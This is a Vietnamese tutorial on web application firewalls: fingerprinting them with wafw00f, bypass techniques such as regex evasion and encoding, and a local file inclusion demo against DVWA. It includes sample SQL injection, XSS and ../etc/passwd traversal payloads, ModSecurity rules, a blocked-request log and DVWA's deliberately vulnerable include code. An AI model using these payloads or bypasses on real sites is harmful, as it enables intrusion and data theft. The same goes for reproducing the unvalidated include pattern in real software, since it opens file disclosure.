WAF Bypass Techniques
I.Giới thiệu về Tường lửa Ứng dụng Web (Web Application Firewall-WAF)
Nguyên lý hoạt động cơ bản
- Kiểm tra lưu lượng: WAF thu thập và kiểm tra tất cả các yêu cầu đến ứng dụng web. Trong quá trình này, nội dung, tiêu đề, URL và các tham số khác của yêu cầu được kiểm tra.
- Áp dụng quy tắc/chính sách: WAF áp dụng các quy tắc hoặc chính sách được định sẵn cho yêu cầu đến. Các quy tắc này được thiết kế để bảo vệ chống lại các cuộc tấn công web phổ biến như tiêm nhiễm SQL, XSS và CSRF.
- Chặn lưu lượng độc hại: Nếu yêu cầu đến không tuân thủ các quy tắc của WAF hoặc được coi là tiềm ẩn nguy hại, WAF sẽ chặn yêu cầu, ngăn không cho nó đến được ứng dụng web.
- Chuyển tiếp lưu lượng hợp pháp: Nếu yêu cầu đến tuân thủ các quy tắc của WAF và được coi là an toàn, WAF sẽ chuyển tiếp yêu cầu đến ứng dụng web.
Các loại tấn công mà WAF bảo vệ
- Tiêm nhiễm SQL (SQL Injection): Một loại tấn công mà kẻ tấn công chèn mã SQL độc hại vào các yêu cầu của ứng dụng web để truy cập hoặc sửa đổi cơ sở dữ liệu.
- Tấn công Kịch bản Xuyên trang (Cross-Site Scripting - XSS): Một loại tấn công mà kẻ tấn công thực thi các kịch bản độc hại trong trình duyệt của người dùng khác thông qua ứng dụng web.
- Tấn công Giả mạo Yêu cầu Xuyên trang (Cross-Site Request Forgery - CSRF): Một loại tấn công mà kẻ tấn công lừa người dùng gửi các yêu cầu trái phép đến ứng dụng web mà không có sự đồng ý của họ.
- Chèn tệp (File Inclusion): Một loại tấn công cho phép kẻ tấn công tải lên các tệp độc hại lên máy chủ hoặc thực thi các tệp trên máy chủ bằng cách khai thác cơ chế xử lý tệp của ứng dụng web.
- Tấn công Từ chối Dịch vụ Phân tán (DDoS Attacks): Các cuộc tấn công nhằm làm cho ứng dụng web hoặc máy chủ không khả dụng bằng cách gửi một lượng lớn yêu cầu để quá tải hệ thống.
Ưu điểm
- Bảo vệ ứng dụng web: WAF bảo vệ chống lại các cuộc tấn công kể trên và nhiều loại khác, ngăn chặn việc khai thác các lỗ hổng trong ứng dụng web.
- Bảo mật tầng ứng dụng: Cung cấp bảo vệ chống lại các cuộc tấn công tầng ứng dụng mà các tường lửa tầng mạng không thể phát hiện.
- Tạo danh sách đen và danh sách trắng: Tăng cường bảo mật bằng cách tạo danh sách đen để chặn các địa chỉ IP hoặc lưu lượng độc hại, và danh sách trắng để cho phép các địa chỉ IP hoặc lưu lượng đáng tin cậy.
- Ghi nhật ký và báo cáo: Giám sát và ghi lại lưu lượng mạng, hỗ trợ phát hiện và phân tích các sự cố bảo mật tiềm ẩn.
Nhược điểm
- Dương tính giả: Trong một số trường hợp, WAF có thể vô tình chặn lưu lượng hợp pháp.
- Bảo vệ hạn chế đối với tấn công zero-day: Có thể không cung cấp bảo vệ hoàn toàn chống lại các cuộc tấn công zero-day.
- Ảnh hưởng đến hiệu suất: Có thể làm giảm hiệu suất của ứng dụng web, đặc biệt khi lưu lượng truy cập lớn.
Các loại WAF
- WAF dựa trên đám mây: Được cung cấp dưới dạng dịch vụ trên đám mây, không yêu cầu cài đặt phần cứng hoặc phần mềm.
- WAF dựa trên phần cứng: Là thiết bị vật lý, thường được đặt ở điểm đầu vào của mạng.
- WAF dựa trên phần mềm: Được cài đặt trên máy chủ dưới dạng ứng dụng phần mềm.
WAF Nâng cao
- Phân tích hành vi: Một số WAF sử dụng các kỹ thuật như học máy và phân tích hành vi để phát hiện các mẫu lưu lượng bất thường.
- Bảo vệ tấn công Zero-Day: Sử dụng các cơ sở dữ liệu thông tin mối đe dọa được cập nhật liên tục để bảo vệ chống lại các loại tấn công mới hoặc chưa biết.
- Bảo vệ chống bot: Có khả năng phát hiện và chặn các cuộc tấn công tự động từ bot.
- Bảo vệ API: Có thể ngăn chặn các cuộc tấn công nhắm vào API.
II.Các Chế độ Hoạt động của WAF
Mô hình Tiêu cực (Dựa trên Danh sách Đen - Blacklist-Based)
Trong mô hình này, WAF hoạt động dựa trên một danh sách đen được xác định trước. Danh sách đen này chứa các mẫu tấn công độc hại đã biết, chữ ký hoặc địa chỉ IP. WAF so sánh các yêu cầu đến với danh sách đen và chặn bất kỳ yêu cầu nào khớp với danh sách này.
Ưu điểm:
- Cài đặt nhanh và dễ dàng: Có thể triển khai nhanh chóng với các quy tắc được định sẵn.
- Hiệu quả với các mối đe dọa đã biết: Cung cấp khả năng phòng thủ mạnh mẽ chống lại các loại tấn công phổ biến.
Nhược điểm:
- Dễ bị tấn công zero-day: Khó phát hiện các cuộc tấn công mới và chưa được liệt kê trong danh sách đen.
- Tỷ lệ dương tính giả cao: Có thể vô tình chặn các yêu cầu hợp pháp.
Mô hình Tích cực (Dựa trên Danh sách Trắng - Whitelist-Based)
Trong mô hình này, WAF hoạt động dựa trên một danh sách trắng được xác định trước. Danh sách trắng này chỉ chứa các yêu cầu an toàn và được phép. WAF so sánh các yêu cầu đến với danh sách trắng và chặn bất kỳ yêu cầu nào không khớp.
Ưu điểm:
- Bảo mật cao hơn: Cung cấp bảo mật chặt chẽ hơn bằng cách chỉ cho phép các yêu cầu cụ thể.
- Tỷ lệ dương tính giả thấp: Ít có khả năng chặn các yêu cầu hợp pháp.
Nhược điểm:
- Cấu hình phức tạp: Việc định nghĩa danh sách trắng chính xác đòi hỏi thời gian và chuyên môn.
- Thiếu linh hoạt: Có thể chặn các yêu cầu hợp pháp mới hoặc không mong đợi.
Mô hình Kết hợp (Hybrid Model)
Mô hình này kết hợp các đặc điểm của cả mô hình tiêu cực và tích cực. Nó sử dụng cả danh sách đen và danh sách trắng. WAF đầu tiên kiểm tra các yêu cầu đến với danh sách đen, nếu không khớp, nó sẽ kiểm tra với danh sách trắng. Nếu yêu cầu không khớp với cả hai danh sách, WAF có thể chặn yêu cầu hoặc đánh dấu để kiểm tra thêm.
Ưu điểm:
- Linh hoạt hơn: Có thể bảo vệ chống lại cả các cuộc tấn công đã biết và chưa biết.
- Tỷ lệ dương tính giả thấp hơn: Sự kết hợp giữa danh sách đen và danh sách trắng giảm số lượng dương tính giả.
Nhược điểm:
- Khó khăn trong cấu hình: Việc thiết lập chính xác cả danh sách đen và danh sách trắng đòi hỏi thời gian và chuyên môn.
Tóm tắt
- Nếu bạn cần một giải pháp nhanh và dễ dàng và chỉ cần bảo vệ cơ bản chống lại các cuộc tấn công đã biết, mô hình tiêu cực có thể phù hợp.
- Nếu bạn muốn bảo mật chặt chẽ hơn và quan tâm nhiều hơn đến các mối đe dọa mới, mô hình tích cực có thể phù hợp hơn.
- Nếu bạn tìm kiếm sự bảo vệ chống lại cả các cuộc tấn công đã biết và chưa biết và cần một cấu hình linh hoạt hơn, mô hình kết hợp có thể là lựa chọn tốt nhất.
Phát hiện WAF
Kiểm tra các cổng chuẩn
WAF thường hoạt động trên các cổng phổ biến như 80 (HTTP), 443 (HTTPS), 8000, 8080, và 8888. Tuy nhiên, lưu ý rằng WAF có thể được triển khai trên bất kỳ cổng nào có dịch vụ HTTP đang chạy. Do đó, việc xác định các cổng dịch vụ HTTP trước, sau đó tìm kiếm WAF là một phương pháp tốt.
Kiểm tra Cookie
Một số WAF thêm các cookie tùy chỉnh vào yêu cầu (ví dụ: Citrix Netscaler, Yunsuo WAF).
Tìm kiếm các tiêu đề tùy chỉnh
Một số WAF tự nhận diện qua các tiêu đề cụ thể (ví dụ: Anquanbao WAF, Amazon AWS WAF).
Kiểm tra sửa đổi tiêu đề
Một số WAF sửa đổi tiêu đề và mã hóa các ký tự để gây nhầm lẫn cho kẻ tấn công (ví dụ: Netscaler, Big-IP).
Kiểm tra tiêu đề Server
Một số WAF tiết lộ danh tính của chúng trong tiêu đề Server (ví dụ: Approach, WTS WAF).
Phân tích nội dung phản hồi
Một số WAF biểu thị sự hiện diện của chúng trong nội dung phản hồi (ví dụ: DotDefender, Armor, Sitelock).
Quan sát mã phản hồi bất thường
Một số WAF trả về các mã phản hồi bất thường cho các yêu cầu độc hại (ví dụ: WebKnight, 360 WAF).
Kỹ thuật Phát hiện
Chúng ta có thể kích hoạt WAF bằng các cuộc tấn công “giả” để quan sát phản hồi của chúng. Các phương pháp bao gồm:
- Tạo yêu cầu GET thông thường: Gửi một yêu cầu GET thông thường từ trình duyệt và ghi lại các tiêu đề phản hồi (đặc biệt là cookie). Điều này giúp xác định bất kỳ cookie tùy chỉnh nào được WAF tạo ra.
- Gửi yêu cầu từ dòng lệnh: Sử dụng công cụ như cURL để gửi yêu cầu mà không có User-Agent. Quan sát cách WAF phản hồi với các yêu cầu không có User-Agent.
- Gửi yêu cầu GET đến các cổng mở ngẫu nhiên: Gửi yêu cầu GET đến các cổng mở ngẫu nhiên để lấy các banner có thể tiết lộ danh tính của WAF.
- Tiêm payload độc hại vào trang đăng nhập: Tiêm các payload độc hại dễ phát hiện (ví dụ:
' or 1=1 --) vào các trang đăng nhập và quan sát phản hồi của WAF. - Thêm payload độc hại vào thanh tìm kiếm và biểu mẫu: Thêm các payload độc hại như
<script>alert()</script>vào thanh tìm kiếm, biểu mẫu liên hệ và các trường nhập liệu khác. - Thêm tệp giả vào URL: Thêm đường dẫn tệp như
../../../etc/passwdlàm tham số ngẫu nhiên vào URL và quan sát phản hồi của WAF. - Thêm từ khóa vào URL: Thêm các từ khóa như
' OR SLEEP(5) OR 'làm tham số ngẫu nhiên vào URL và quan sát phản hồi của WAF. - Gửi yêu cầu với giao thức cũ: Gửi yêu cầu GET bằng các giao thức cũ như HTTP/0.9. (Lưu ý: HTTP/0.9 không hỗ trợ yêu cầu POST.)
- Theo dõi thay đổi trong tiêu đề Server: Một số WAF thay đổi tiêu đề
Serverdựa trên các kiểu tương tác khác nhau. Quan sát các thay đổi này.
III.WAFW00F
Tổng quan
WAFW00F là một công cụ dòng lệnh được sử dụng để phát hiện sự hiện diện của Tường lửa Ứng dụng Web (WAF) trước một ứng dụng web. Công cụ này có khả năng nhận diện nhiều loại WAF khác nhau và là phần mềm miễn phí, mã nguồn mở.
WAFW00F gửi một loạt yêu cầu đến máy chủ web và phân tích các phản hồi để xác định sự hiện diện và loại WAF. Nó có thể phát hiện nhiều WAF phổ biến như ModSecurity, Cloudflare, Imperva, v.v., và thông báo loại WAF đang được sử dụng.
Nguyên lý hoạt động
- Phát hiện thụ động: WAFW00F gửi các yêu cầu thông thường đến máy chủ web và kiểm tra các tiêu đề phản hồi (đặc biệt là tiêu đề
Servervà cookie). Các giá trị cụ thể trong những tiêu đề này có thể chỉ ra sự hiện diện của WAF. - Phát hiện chủ động: WAFW00F gửi các yêu cầu chứa các mẫu tấn công đã biết đến máy chủ web và quan sát cách WAF phản hồi. Vì WAF thường cố gắng chặn hoặc sửa đổi các yêu cầu độc hại, các phản hồi này giúp xác định sự hiện diện và loại WAF.
Về cơ bản, công cụ này tự động hóa các bước đã được mô tả trong các phần trước.
Cách sử dụng
Bạn có thể truy cập trang trợ giúp của WAFW00F bằng lệnh sau:
┌──(user㉿kali)-[~]
└─$ wafw00f -h
Usage: wafw00f url1 [url2 [url3 ... ]]
example: wafw00f http://www.victim.org/
Options:
-h, --help show this help message and exit
-v, --verbose Enable verbosity, multiple -v options increase
verbosity
-a, --findall Find all WAFs which match the signatures, do not stop
testing on the first one
-r, --noredirect Do not follow redirections given by 3xx responses
-t TEST, --test=TEST Test for one specific WAF
-o OUTPUT, --output=OUTPUT
Write output to csv, json or text file depending on
file extension. For stdout, specify - as filename.
-f FORMAT, --format=FORMAT
Force output format to csv, json or text.
-i INPUT, --input-file=INPUT
Read targets from a file. Input format can be csv,
json or text. For csv and json, a `url` column name or
element is required.
-l, --list List all WAFs that WAFW00F is able to detect
-p PROXY, --proxy=PROXY
Use an HTTP proxy to perform requests, examples:
http://hostname:8080, socks5://hostname:1080,
http://user:pass@hostname:8080
-V, --version Print out the current version of WafW00f and exit.
-H HEADERS, --headers=HEADERS
Pass custom headers via a text file to overwrite the
default header set.
Danh sách WAF có thể phát hiện
Bạn có thể xem danh sách tất cả các WAF mà WAFW00F có thể phát hiện bằng tham số -l:
┌──(user㉿kali)-[~]
└─$ wafw00f -l
______
/ \
( Woof! )
\ ____/
,,
.-. - ) (_
()``; |===|_______) . |__|
/ (' -- /|\ . |__|
( / ) / | \ ( |__|
\(_)) / | \ |__|
~ WAFW00F : v2.2.0 ~
The Web Application Firewall Fingerprinting Toolkit
[+] Can test for these WAFs:
WAF Name Manufacturer
-------- ------------
ACE XML Gateway Cisco
aeSecure aeSecure
AireeCDN Airee
Airlock Phion/Ergon
Alert Logic Alert Logic
AliYunDun Alibaba Cloud Computing
Anquanbao Anquanbao
AnYu AnYu Technologies
Approach Approach
AppWall Radware
Armor Defense Armor
ArvanCloud ArvanCloud
ASP.NET Generic Microsoft
ASPA Firewall ASPA Engineering Co.
Astra Czar Securities
AWS Elastic Load Balancer Amazon
AzionCDN AzionCDN
Azure Front Door Microsoft
Barikode Ethic Ninja
Barracuda Barracuda Networks
Bekchy Faydata Technologies Inc.
Beluga CDN Beluga
BIG-IP Local Traffic Manager F5 Networks
BinarySec BinarySec
BitNinja BitNinja
BlockDoS BlockDoS
Bluedon Bluedon IST
BulletProof Security Pro AITpro Security
CacheWall Varnish
CacheFly CDN CacheFly
Comodo cWatch Comodo CyberSecurity
CdnNS Application Gateway CdnNs/WdidcNet
ChinaCache Load Balancer ChinaCache
Chuang Yu Shield Yunaq
Cloudbric Penta Security
Cloudflare Cloudflare Inc.
Cloudfloor Cloudfloor DNS
Cloudfront Amazon
CrawlProtect Jean-Denis Brun
DataPower IBM
Cloud Protector Rohde & Schwarz CyberSecurity
DenyALL Rohde & Schwarz CyberSecurity
Distil Distil Networks
DOSarrest DOSarrest Internet Security
DDoS-GUARD DDOS-GUARD CORP.
DotDefender Applicure Technologies
DynamicWeb Injection Check DynamicWeb
Edgecast Verizon Digital Media
Eisoo Cloud Firewall Eisoo
Expression Engine EllisLab
BIG-IP AppSec Manager F5 Networks
BIG-IP AP Manager F5 Networks
Fastly Fastly CDN
FirePass F5 Networks
FortiWeb Fortinet
GoDaddy Website Protection GoDaddy
Greywizard Grey Wizard
Huawei Cloud Firewall Huawei
HyperGuard Art of Defense
Imunify360 CloudLinux
Incapsula Imperva Inc.
IndusGuard Indusface
Instart DX Instart Logic
ISA Server Microsoft
Janusec Application Gateway Janusec
Jiasule Jiasule
Kona SiteDefender Akamai
KS-WAF KnownSec
KeyCDN KeyCDN
LimeLight CDN LimeLight
LiteSpeed LiteSpeed Technologies
Open-Resty Lua Nginx FLOSS
Oracle Cloud Oracle
Malcare Inactiv
MaxCDN MaxCDN
Mission Control Shield Mission Control
ModSecurity SpiderLabs
NAXSI NBS Systems
Nemesida PentestIt
NevisProxy AdNovum
NetContinuum Barracuda Networks
NetScaler AppFirewall Citrix Systems
Newdefend NewDefend
NexusGuard Firewall NexusGuard
NinjaFirewall NinTechNet
NullDDoS Protection NullDDoS
NSFocus NSFocus Global Inc.
OnMessage Shield BlackBaud
Palo Alto Next Gen Firewall Palo Alto Networks
PerimeterX PerimeterX
PentaWAF Global Network Services
pkSecurity IDS pkSec
PT Application Firewall Positive Technologies
PowerCDN PowerCDN
Profense ArmorLogic
Puhui Puhui
Qcloud Tencent Cloud
Qiniu Qiniu CDN
Qrator Qrator
Reblaze Reblaze
RSFirewall RSJoomla!
RequestValidationMode Microsoft
Sabre Firewall Sabre
Safe3 Web Firewall Safe3
Safedog SafeDog
Safeline Chaitin Tech.
SecKing SecKing
eEye SecureIIS BeyondTrust
SecuPress WP Security SecuPress
SecureSphere Imperva Inc.
Secure Entry United Security Providers
SEnginx Neusoft
ServerDefender VP Port80 Software
Shield Security One Dollar Plugin
Shadow Daemon Zecure
SiteGround SiteGround
SiteGuard Sakura Inc.
Sitelock TrueShield
SonicWall Dell
UTM Web Protection Sophos
Squarespace Squarespace
SquidProxy IDS SquidProxy
StackPath StackPath
Sucuri CloudProxy Sucuri Inc.
Tencent Cloud Firewall Tencent Technologies
Teros Citrix Systems
Trafficshield F5 Networks
TransIP Web Firewall TransIP
URLMaster SecurityCheck iFinity/DotNetNuke
URLScan Microsoft
UEWaf UCloud
Varnish OWASP
Viettel Cloudrity
VirusDie VirusDie LLC
Wallarm Wallarm Inc.
WatchGuard WatchGuard Technologies
WebARX WebARX Security Solutions
WebKnight AQTRONIX
WebLand WebLand
wpmudev WAF Incsub
RayWAF WebRay Solutions
WebSEAL IBM
WebTotem WebTotem
West263 CDN West263CDN
Wordfence Defiant
WP Cerber Security Cerber Tech
WTS-WAF WTS
360WangZhanBao 360 Technologies
XLabs Security WAF XLabs
Xuanwudun Xuanwudun
Yundun Yundun
Yunsuo Yunsuo
Yunjiasu Baidu Cloud Computing
YXLink YxLink Technologies
Zenedge Zenedge
ZScaler Accenture
Shieldon Firewall Shieldon.io
Phát hiện WAF
Bạn có thể phát hiện WAF bằng cách chạy lệnh sau:
┌──(user㉿kali)-[~]
└─$ wafw00f http://VICTIM_IP/
______
/ \
( W00f! )
\ ____/
,, __ 404 Hack Not Found
|`-.__ / / __ __
/" _/ /_/ \ \ / /
*===* / \ \_/ / 405 Not Allowed
/ )__// \ /
/| / /---` 403 Forbidden
\\/` \ | / _ \
`\ /_\\_ 502 Bad Gateway / / \ \ 500 Internal Error
`_____``-` /_/ \_\
~ WAFW00F : v2.2.0 ~
The Web Application Firewall Fingerprinting Toolkit
[*] Checking http://VICTIM_IP/
[+] Generic Detection results:
[*] The site http://VICTIM_IP/ seems to be behind a WAF or some sort of security solution
[~] Reason: The server returns a different response code when an attack string is used.
Normal response code is "200", while the response code to cross-site scripting attack is "403"
[~] Number of requests: 5
Giải thích kết quả
- Công cụ kiểm tra URL mục tiêu (
http://VICTIM_IP/) và phát hiện sự hiện diện của WAF hoặc giải pháp bảo mật. - Lý do: Máy chủ trả về mã phản hồi khác nhau (ví dụ: mã 200 cho yêu cầu thông thường và mã 403 cho chuỗi tấn công XSS), điều này cho thấy sự hiện diện của WAF.
- Số lượng yêu cầu: 5 yêu cầu được gửi để phân tích.
IV.Kỹ Thuật Bypass WAF
Mặc dù có nhiều kỹ thuật, chúng ta sẽ tập trung chủ yếu vào những kỹ thuật được sử dụng phổ biến nhất.
Khi cố gắng bypass WAF, chúng ta gặp hai phương pháp chính:
- Bypass thủ công
- Bypass dựa trên công cụ
Bypass Thủ Công
Những kỹ thuật này thường nhằm khai thác các điểm yếu hoặc cấu hình sai của WAF để chuyển lưu lượng độc hại đến ứng dụng web. Không giống như các công cụ tự động, bypass thủ công liên quan đến việc kẻ tấn công phân tích WAF và thử các kỹ thuật tấn công cụ thể để bypass nó. Điều này đòi hỏi hiểu biết sâu hơn về cách WAF hoạt động và cho phép các cuộc tấn công có mục tiêu hơn.
Phân Tích Regex
Hiểu và bypass các quy tắc regex được coi là một trong những phương pháp hiệu quả nhất để vượt qua WAF. WAF thường sử dụng biểu thức chính quy (regex) để phát hiện lưu lượng độc hại trong khi bảo vệ ứng dụng web. Kẻ tấn công phân tích các mẫu regex này để tìm cách gửi payload độc hại mà không kích hoạt bộ lọc WAF.
Ví dụ, nếu các quy tắc như sau:
SecRule ARGS|REQUEST_BODY "@rx (select|union|from|where|having|order\s+by|group\s+by)" \
"id:1000, phase:2, deny,status:403, msg:'Potential SQL Injection Attack'"
SecRule ARGS|REQUEST_BODY "@rx \b(information_schema|sysdatabases|pg_sleep|benchmark|sleep\(\d+\)|0x[0-9a-fA-F]+)" \
"id:1001, phase:2, deny,status:403, msg:'Potential SQL Injection (Database Metadata/Sleep Functions)'"
SecRule ARGS|REQUEST_BODY "@rx ;|--|\/\*" \
"id:1002, phase:2, deny,status:403, msg:'Potential SQL Injection (Multiple Statements/Comments)'"
SecRule ARGS|REQUEST_BODY "@rx \b(and|or|not|\|\||&&|xor)\b" \
"id:1003, phase:2, block, msg:'Potential SQL Injection (Boolean Operators)'"
Trong trường hợp SQL Injection, thay vì sử dụng ' or 1=1 -- -, sử dụng ' oR 1=1 # sẽ bypass các bộ lọc regex.
Obfuscation và Encoding
Obfuscation và encoding ngụy trang hoặc thay đổi payload độc hại, khiến WAF khó phát hiện chúng. Những kỹ thuật này làm phức tạp nỗ lực phát hiện lưu lượng độc hại của WAF và cho phép kẻ tấn công truy cập vào ứng dụng web. Dưới đây là một số kỹ thuật obfuscation/encoding thường được sử dụng:
Case Switching: Sửa đổi chữ hoa chữ thường của các chữ cái trong payload độc hại để đánh lừa thuật toán khớp chuỗi của WAF. Ví dụ, sử dụng “SELECT” như “SeLeCt” hoặc “sElEcT”.
URL Encoding: Biểu diễn các ký tự trong payload độc hại bằng cách sử dụng dấu phần trăm (%) và mã thập lục phân để khiến WAF khó nhận ra các ký tự có hại hơn. Ví dụ, một ký tự khoảng trắng được mã hóa thành “%20”.
Unicode Normalization: Sử dụng các biểu diễn Unicode khác nhau của cùng một ký tự. Ví dụ, chữ cái “A” có thể được mã hóa là cả U+0041 và U+FF21. WAF có thể không phát hiện tất cả các biến thể.
HTML Encoding: Biểu diễn các ký tự độc hại dưới dạng thực thể HTML. Ví dụ, ”<” được mã hóa thành ”<”. Điều này có thể được sử dụng để bypass WAF trong các cuộc tấn công XSS.
Compound Encoding: Kết hợp các kỹ thuật mã hóa khác nhau (ví dụ: URL encoding, HTML encoding) để làm phức tạp việc phát hiện của WAF. Ví dụ, trong một cuộc tấn công SQL injection, một số phần của mã SQL có thể được ẩn bằng URL encoding, và các phần khác bằng mã hóa thập lục phân.
Using Comments:
Chèn các comment (/* */ hoặc --) vào payload độc hại để ngăn WAF nhận ra chúng như một biểu thức duy nhất.
Double Encoding: Mã hóa payload độc hại hai lần (ví dụ: đầu tiên URL encoding, sau đó base64 encoding) để khiến WAF khó phát hiện payload sau khi giải mã ban đầu.
Wildcard Characters:
Sử dụng ký tự đại diện (*, ?, .) trong payload độc hại để bypass thuật toán khớp mẫu của WAF.
Concatenation Characters:
Các ngôn ngữ lập trình khác nhau có cú pháp và mẫu nối chuỗi khác nhau. Các mẫu này (ví dụ: ký tự +) có thể được sử dụng để đạt được việc nối chuỗi ở phía máy chủ.
Các công cụ như CyberChef có thể được sử dụng để thực hiện các thao tác này.
Google Dorking
Mặc dù sự sáng tạo là chìa khóa trong bypass thủ công, bạn cũng có thể lấy cảm hứng từ ý tưởng của những người khác đã từng sáng tạo. Nhiều WAF khác nhau có nhiều phương pháp bypass đã biết, có thể dễ dàng tìm thấy với sự trợ giúp của Google dorks.
Ví dụ, để tìm kiếm một WAF:
+WAF_NAME waf bypass
Để tìm kiếm các loại bypass cụ thể:
"WAF_NAME" +<bypass type> (bypass|exploit)
Để tìm kiếm trong Exploit DB:
site:exploit-db.com +WAF_NAME bypass
V.Local File Inclusion (LFI)
LFI là một loại tấn công web cho phép kẻ tấn công truy cập, đọc hoặc thực thi các file trên máy chủ bằng cách khai thác lỗ hổng trong ứng dụng web. Lỗ hổng này thường do ứng dụng web không xác thực đúng cách tên file hoặc đường dẫn do người dùng nhập vào.
Ứng dụng web thường bao gồm các file để tạo nội dung động. Ví dụ, các bài báo tin tức hoặc bài đăng blog trên một trang web thường được lưu trữ trong các file riêng biệt và được include vào trang web khi người dùng yêu cầu.
Một cuộc tấn công LFI tận dụng cơ chế include file này để lừa ứng dụng web include các file không mong muốn hoặc độc hại. Điều này có thể cho phép kẻ tấn công truy cập các file nhạy cảm trên máy chủ, sửa đổi mã của ứng dụng web hoặc thực thi mã độc hại trên máy chủ.
Truy cập các File Nhạy cảm: Kẻ tấn công có thể truy cập các file hệ thống như /etc/passwd để lấy thông tin nhạy cảm như tên người dùng và password hash.
Thực thi Mã Độc hại: Kẻ tấn công có thể tạo một script PHP độc hại trên máy chủ và lừa ứng dụng web chạy nó, có khả năng giành toàn quyền kiểm soát máy chủ.
Ví dụ, mã nguồn của DVWA (Damn Vulnerable Web Application) để demo LFI có thể như sau:
<?php
define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';
dvwaPageStartup( array( 'authenticated' ) );
$page = dvwaPageNewGrab();
$page[ 'title' ] = 'Vulnerability: File Inclusion' . $page[ 'title_separator' ].$page[ 'title' ];
$page[ 'page_id' ] = 'fi';
$page[ 'help_button' ] = 'fi';
$page[ 'source_button' ] = 'fi';
dvwaDatabaseConnect();
$vulnerabilityFile = '';
switch( dvwaSecurityLevelGet() ) {
case 'low':
$vulnerabilityFile = 'low.php';
break;
case 'medium':
$vulnerabilityFile = 'medium.php';
break;
case 'high':
$vulnerabilityFile = 'high.php';
break;
default:
$vulnerabilityFile = 'impossible.php';
break;
}
require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/fi/source/{$vulnerabilityFile}";
// if( count( $_GET ) )
if( isset( $file ) )
include( $file );
else {
header( 'Location:?page=include.php' );
exit;
}
dvwaHtmlEcho( $page );
?>
Mã ở mức bảo mật thấp trong low.php có thể trông như sau:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
Kiểm thử LFI
Ví dụ, nếu không có WAF nào, payload sau sẽ hoạt động mà không có vấn đề gì:
?page=../../../../../../etc/passwd
Tuy nhiên, WAF có thể dễ dàng phát hiện payload này như được hiển thị trong log:
--023cda21-A--
[20/Jun/2024:08:30:07.344460 +0000] ZnPoj6IdlbwW3kre-lJF8AAAAAI ATTACKER_IP 57980 VICTIM_IP 80
--023cda21-B--
GET /DVWA/vulnerabilities/fi/?page=../../../../../../etc/passwd HTTP/1.1
Host: VICTIM_IP
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: security=low; PHPSESSID=mkir9lhmrjcnhd7fvbfkjvrtgr
Upgrade-Insecure-Requests: 1
--023cda21-F--
HTTP/1.1 403 Forbidden
Content-Length: 279
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
--023cda21-E--
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.52 (Ubuntu) Server at VICTIM_IP Port 80</address>
</body></html>
--023cda21-H--
Message: Warning. Pattern match "^[\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "VICTIM_IP"] [severity "WARNING"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"]
Message: Warning. Pattern match "(?i)(?:\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "47"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /DVWA/vulnerabilities/fi/?page=../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"]
Message: Warning. Pattern match "(?i)(?:\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:page. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "47"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: ../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"]
Message: Warning. Pattern match "(?:^|[\\/])\\.\\.(?:[\\/]|$)" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "71"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /DVWA/vulnerabilities/fi/?page=../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"]
